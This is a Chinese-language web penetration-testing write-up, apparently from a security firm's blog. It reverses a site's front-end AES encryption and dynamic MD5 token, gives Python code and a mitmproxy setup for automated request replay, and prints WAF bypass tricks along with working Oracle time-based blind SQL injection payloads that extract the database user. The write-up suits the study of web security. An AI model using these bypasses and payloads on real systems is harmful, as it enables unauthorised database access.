扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流

本文演示的所有漏洞均已修复,仅用于学习研究。
文章旨在帮助读者理解前端加密、动态 Token、自动化脚本编写与防护绕过流程。
请勿复现到未授权系统!
本次案例整体流程如下:
测试接口时发现:
参数 payload 被 AES 加密
每次请求都必须附带 动态 token
重放请求直接返回 403 Sign Check Failed
通过断点调试与全局搜索,找到:
AES key 与 IV 均由 JS 生成
Token = MD5(deviceId + 随机数 + 固定盐)

通过:
使用 pycryptodome 实现 AES 加密同步逻辑
Python 复现 token 与 payload
BurpSuite + mitmproxy 自动替换请求参数
实现请求自动重放。
测试参数时发现:
输入 ' 发生拦截
输入 /**/ 正常 → 存在注释绕过点
多次 fuzz 后提取可用突破点:
双编码绕过 + 宽字节绕过 + 时间盲注
成功使用:
'||(SELECT CASE WHEN (SUBSTR((SELECT user FROM dual),1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('A',3) ELSE 1 END)||'结合延迟盲注成功爆破数据库用户名首字符。
在调试中发现,核心参数 payload 是一个 AES 加密后的字符串:
payload=Jf92A1v...==
在 Chrome Source Panel 全局搜索关键字:
AES.encrypt CryptoJS.AES
最终定位到以下关键代码:
var key = CryptoJS.SHA256(deviceId + salt).toString().substr(0, 32);
var iv = CryptoJS.enc.Utf8.parse("A1B2C3D4E5F6G7H8");
var payload = CryptoJS.AES.encrypt(JSON.stringify(data), CryptoJS.enc.Utf8.parse(key), {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
}).toString();分析得知:
AES CBC 模式
Key = SHA256(deviceId + salt) 前 32 字节
IV 固定
只需还原此逻辑即可。

重放时报错:
400 Invalid token
全局搜索 token,最终找到:
function buildToken() {
var ts = Date.now();
return md5(deviceId + ts + "XyZ123!").substr(0, 16);
}所以 token = MD5(deviceId + timestamp + 固定盐) 的前 16 位。
至此,整个请求的加密链拆解完毕。
使用 pycryptodome 模拟加密:
from Crypto.Cipher import AES
from hashlib import md5, sha256
import time
import json
import base64
def build_token(device):
ts = str(int(time.time()))
return md5((device + ts + "XyZ123!").encode()).hexdigest()[:16], ts
def encrypt_payload(data, device):
key_raw = sha256((device + "SALT_FIXED").encode()).hexdigest()[:32]
key = key_raw.encode()
iv = b"A1B2C3D4E5F6G7H8"
text = json.dumps(data).encode()
pad = 16 - len(text) % 16
text += bytes([pad]) * pad
cipher = AES.new(key, AES.MODE_CBC, iv)
return base64.b64encode(cipher.encrypt(text)).decode()
token, ts = build_token("device-001")
data = {"page": 1, "size": 10}
payload = encrypt_payload(data, "device-001")随后结合 mitmproxy:
mitmproxy --mode upstream:http://127.0.0.1:8080
即可自动替换原始请求。
在参数 fuzz 时发现:
' 直接拦截
union、select 会触发 403
|| 会被替换为空
宽字节绕过 %df'
双重 URL 编码:%2527 替代 '
时间盲注可执行:dbms_pipe.receive_message
成功利用 payload:
'||(SELECT CASE WHEN (ASCII(SUBSTR((SELECT username FROM users WHERE ROWNUM=1),1,1))>70)
THEN DBMS_PIPE.RECEIVE_MESSAGE('X',3) ELSE 1 END)||'利用是否延迟成功得到结果。
最终爆破出:
DB User: SYSTEM
本次案例涉及:
✔ AES 加密接口逆向分析
✔ 动态 Token 生成算法还原
✔ Python 完成自动化重放
✔ Burp + mitmproxy 透明加密更新
✔ 多层 WAF 绕过
✔ 延迟盲注成功爆破数据库用户名
完整覆盖 真实 Web 渗透中的整条攻击链,适合用于 Web 安全研究人员系统学习。

我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流